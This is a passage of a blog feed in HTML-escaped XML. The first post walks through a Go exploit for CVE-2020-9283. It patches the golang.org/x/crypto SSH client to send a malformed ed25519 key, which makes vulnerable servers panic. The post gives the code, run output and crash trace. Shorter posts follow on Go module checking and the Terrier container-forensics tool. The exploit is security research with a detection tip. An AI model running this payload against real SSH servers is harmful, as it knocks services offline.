    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the code above, you can see that our payload is not there and this is just regular Go code to create an SSH client. What we actually do is modify our local Go SSH package which is used by the code above. We start with modifying the files located on our host which can be found at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/***
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After much digging around, I located the function which is responsible for performing the SSH auth request aka "SSH_MSG_USERAUTH_REQUEST". The file is client_auth.go and the function is located on line 214 on my version and has the following signature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt; &lt;span class="n"&gt;publicKeyCallback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;packetConn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Reader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authResult&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following code snippet below was/is super useful to identify where and what functions are calling specific functions in Go code and you'll find this pasted throughout the code in the Github repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Caller&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[(client_auth.go)auth 212] called from %s#%d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code above produces output to STDOUT when you run your compiled code, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[(client_auth.go)auth 212] called from /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/client_auth.go#58
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great stuff, now all we need to do is to ensure that instead of sending the public key we created in our Go code, we would like to send the malicious public key. In order to achieve this, we modify the function auth with the following changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;sshPayload&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161"&lt;/span&gt;
        &lt;span class="n"&gt;sshPayloadBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DecodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sshPayload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c"&gt;// manually wrap the serialized signature in a string&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stringLength&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="n"&gt;marshalString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;publickeyAuthMsg&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;serviceSSH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;Method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="n"&gt;HasSig&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="no"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="c"&gt;// PubKey:   pubKey,&lt;/span&gt;
            &lt;span class="n"&gt;PubKey&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sshPayloadBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;Sig&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the code above, we've made minimal changes, we've converted our ASCII HEX payload to a byte slice and then modified the struct "publickeyAuthMsg" to use our byte slice "sshPayloadBytes" instead of "pubKey" where "pubKey" is the legitimate public key.&lt;/p&gt;

&lt;p&gt;And voila, we've made the required changes. We're now ready to invoke our Go code against a target server and see what happens. We can launch our exploit against the vulnerable server attached in the Github repo by doing the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
  -host string
        IP address of SSH host to target (default "localhost")
  -key string
        ssh-ed25519 private key to use (default "thekey")
  -port string
        Port to target (default "22")

# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User:  notme
[+] userAuthRequestMsg Service:  ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and on our server, we should see a panic which contains something like the following stack trace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./target-vulnerable 
Vulnerable SSH server running on 0.0.0.0:2022
panic: ed25519: bad public key length: 21

goroutine 34 [running]:
crypto/ed25519.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00017607c, 0x40, 0x40, 0xc000110260)
        /usr/local/Cellar/go/1.13.1/libexec/src/crypto/ed25519/ed25519.go:175 +0x458
golang.org/x/crypto/ed25519.Verify(...)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ed25519/ed25519_go113.go:72
golang.org/x/crypto/ssh.ed25519PublicKey.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00008c080, 0x28, 0x7f)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/keys.go:587 +0x1a0
golang.org/x/crypto/ssh.(*connection).serverAuthenticate(0xc0000fe200, 0xc0000c29c0, 0x11, 0x40, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:567 +0x160d
golang.org/x/crypto/ssh.(*connection).serverHandshake(0xc0000fe200, 0xc0000c29c0, 0x1207b70, 0x1b, 0x1391aa0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:277 +0x59f
golang.org/x/crypto/ssh.NewServerConn(0x1242140, 0xc0000bc018, 0xc0000c2820, 0x0, 0x0, 0x0, 0x0, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:206 +0x17f
main.handleConnection(0x1242140, 0xc0000bc018, 0xc0000c2820)
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:43 +0x5a
created by main.main
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:98 +0x23d

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and there we go, we've got a Go based version to exploit this CVE. You can get the source code and precompiled binaries on my Github -&amp;gt; &lt;a href="https://github.com/brompwnie/CVE-2020-9283"&gt;https://github.com/brompwnie/CVE-2020-9283&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Additionally, if you would like to detect if this attack has been launched against you (IOC's), you can search your logs for stack traces that contain bad key length errors.&lt;/p&gt;

&lt;p&gt;References&lt;br&gt;
1 &lt;a href="https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/"&gt;https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/&lt;/a&gt;&lt;br&gt;
2 &lt;a href="https://bridge.grumpy-troll.org/2017/04/golang-ssh-security/"&gt;https://bridge.grumpy-troll.org/2017/04/golang-ssh-security/&lt;/a&gt;&lt;br&gt;
3 &lt;a href="https://github.com/golang/crypto/blob/81e90905daefcd6fd217b62423c0908922eadb30/ssh/example_test.go#L143"&gt;https://github.com/golang/crypto/blob/81e90905daefcd6fd217b62423c0908922eadb30/ssh/example_test.go#L143&lt;/a&gt;&lt;br&gt;
4 &lt;a href="https://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1"&gt;https://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1&lt;/a&gt;&lt;br&gt;
5 &lt;a href="https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc"&gt;https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc&lt;/a&gt;&lt;br&gt;
6 &lt;a href="https://github.com/golang/go/issues/8581"&gt;https://github.com/golang/go/issues/8581&lt;/a&gt;&lt;br&gt;
7 &lt;a href="https://tools.ietf.org/html/rfc4252#section-5"&gt;https://tools.ietf.org/html/rfc4252#section-5&lt;/a&gt;&lt;br&gt;
8 &lt;a href="https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236"&gt;https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236&lt;/a&gt;&lt;br&gt;
9 &lt;a href="https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283"&gt;https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283&lt;/a&gt;&lt;br&gt;
10 &lt;a href="https://github.com/brompwnie/CVE-2020-9283"&gt;https://github.com/brompwnie/CVE-2020-9283&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>exploit</category>
      <category>security</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Identifying Deprecated Go Modules with Gocheckit</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Thu, 12 Mar 2020 22:25:51 +0000</pubDate>
      <link>https://forem.com/brompwnie/identifying-deprecated-go-modules-with-gocheckit-4g0</link>
      <guid>https://forem.com/brompwnie/identifying-deprecated-go-modules-with-gocheckit-4g0</guid>
      <description>&lt;p&gt;Identifying Deprecated Go modules is not supported by default by the Go ecosystem so I created a small tool (Gocheckit) to help me identify potentially Deprecated modules for a Go project. You can find the tool and more info here on Github here &lt;a href="https://github.com/brompwnie/gocheckit"&gt;https://github.com/brompwnie/gocheckit&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I'll probably write a proper post at a later point describing the tool and processes in more detail.&lt;/p&gt;

</description>
      <category>go</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>Terrier: An Open-Source Tool for Identifying and Analyzing Container and Image Components</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Wed, 15 Jan 2020 16:00:00 +0000</pubDate>
      <link>https://forem.com/heroku/terrier-an-open-source-tool-for-identifying-and-analyzing-container-and-image-components-508h</link>
      <guid>https://forem.com/heroku/terrier-an-open-source-tool-for-identifying-and-analyzing-container-and-image-components-508h</guid>
      <description>&lt;p&gt;As part of our Blackhat Europe talk &lt;a href="https://www.blackhat.com/eu-19/briefings/schedule/#reverse-engineering-and-exploiting-builds-in-the-cloud-17287"&gt;“Reverse Engineering and Exploiting Builds in the Cloud”&lt;/a&gt; we publicly released a new tool called Terrier.&lt;/p&gt;

&lt;p&gt;In this blog post, I am going to show you how Terrier can help you identify and verify container and image components for a wide variety of use-cases, be it from a supply-chain perspective or forensics perspective. Terrier can be found on Github &lt;a href="https://github.com/heroku/terrier"&gt;https://github.com/heroku/terrier&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Containers and images
&lt;/h2&gt;

&lt;p&gt;In this blog post, I am not going to go into too much detail about containers and images (you can learn more &lt;a href="https://www.opencontainers.org/about"&gt;here&lt;/a&gt;) however it is important to highlight a few characteristics of containers and images that make them interesting in terms of Terrier. Containers are run from images and currently the Open Containers Initiative (OCI) is the most popular format for images. The remainder of this blog post refers to OCI images as images.&lt;/p&gt;

&lt;p&gt;Essentially images are tar archives that container multiple tar archives and meta-information that represent the “layers” of an image. The OCI format of images makes images relatively simple to work with which makes analysis relatively simple. If you only had access to a terminal and the tar command, you could pretty much get what you need from the image’s tar archive.&lt;/p&gt;

&lt;p&gt;When images are utilised at runtime for a container, their contents become the contents of the running container and the layers are essentially extracted to a location on the container’s runtime host. The container runtime host is the host that is running and maintaining the containers. This location is typically &lt;code&gt;/var/lib/docker/overlay2/&amp;lt;containerID&amp;gt;/&lt;/code&gt;. This location contains a few folders of interest, particularly the "merged" folder. The "merged" folder contains the contents of the image and any changes that have occurred in the container since its creation. For example, if the image contained a location such as &lt;code&gt;/usr/chris/stuff&lt;/code&gt; and after creating a container from this image I created a file called &lt;code&gt;helloworld.txt&lt;/code&gt; at the location &lt;code&gt;/usr/chris/stuff&lt;/code&gt;. This would result in the following valid path on the container runtime host &lt;code&gt;/var/lib/docker/overlay2/&amp;lt;containerID&amp;gt;/merged/usr/chris/stuff/helloworld.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does Terrier do?
&lt;/h2&gt;

&lt;p&gt;Now that we have a brief understanding of images and containers, we can look at what Terrier does. Often it is the case that you would like to determine if an image or container contains a specific file. This requirement may be due to a forensic analysis need or to identify and prevent a certain supply-chain attack vector. Regardless of the requirement, having the ability to determine the presence of a specific file in an image or container is useful.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying files in OCI images
&lt;/h3&gt;

&lt;p&gt;Terrier can be used to determine if a specific image contains a specific file. In order to do this, you need the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An OCI Image i.e TAR archive&lt;/li&gt;
&lt;li&gt;A SHA256 hash of a specific file/s&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first point can be easily achieved with Docker by using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker save imageid &lt;span class="nt"&gt;-o&lt;/span&gt; myImage.tar

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command above uses a Docker image ID which can be obtained using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker images

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you have your image exported as a tar archive, you will then need to establish the SHA256 hash of the particular file you would like to identify in the image. There are multiple ways to achieve this but in this example, we are going to use the hash of the Golang binary &lt;em&gt;go1.13.4 linux/amd64&lt;/em&gt; which can be achieved with following command on a Linux host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /usr/local/go/bin/go | &lt;span class="nb"&gt;sha256sum&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command above should result in the following SHA256 hash: &lt;code&gt;82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a hash, we can use this hash to determine if the Golang binary is in the image &lt;code&gt;myImage.tar&lt;/code&gt;. To achieve this, we need to populate a configuration file for Terrier. Terrier makes use of YAML configuration files and below is our config file that we save as &lt;code&gt;cfg.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;myImage.tar&lt;/span&gt;

&lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The config file above has multiple entries which allow us to specify the &lt;code&gt;mode&lt;/code&gt; that Terrier will operate in and in this case, we are working with an image file (tar archive) so the mode is &lt;code&gt;image&lt;/code&gt;. The image file we are working with is &lt;code&gt;myImage.tar&lt;/code&gt; and the hash we are looking to identify is in the &lt;code&gt;hashes&lt;/code&gt; list.&lt;/p&gt;

&lt;p&gt;We are now ready to run Terrier and this can be done with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command above should result in output similar to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier 
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[!]&lt;/span&gt; Found file &lt;span class="s1"&gt;'6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759/usr/local/go/bin/go'&lt;/span&gt; with &lt;span class="nb"&gt;hash&lt;/span&gt;: 82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have identified a file &lt;code&gt;/usr/local/go/bin/go&lt;/code&gt; located at layer &lt;code&gt;6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759&lt;/code&gt; that has the same SHA256 hash as the one we provided. We now have verification that the image “myImage.tar” contains a file with the SHA256 hash we provided.&lt;/p&gt;

&lt;p&gt;This example can be extended upon and you can instruct Terrier to search for multiple hashes. In this case, we are going to search for a malicious file. Recently a malicious Python library was identified in the wild and went by the name “Jeilyfish”. Terrier could be used to check if a Docker image of yours contained this malicious package. To do this, we can determine the SHA256 of one of the malicious Python files that contains the backdoor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py | &lt;span class="nb"&gt;sha256sum
&lt;/span&gt;cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We then update our Terrier config to include the hash calculated above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
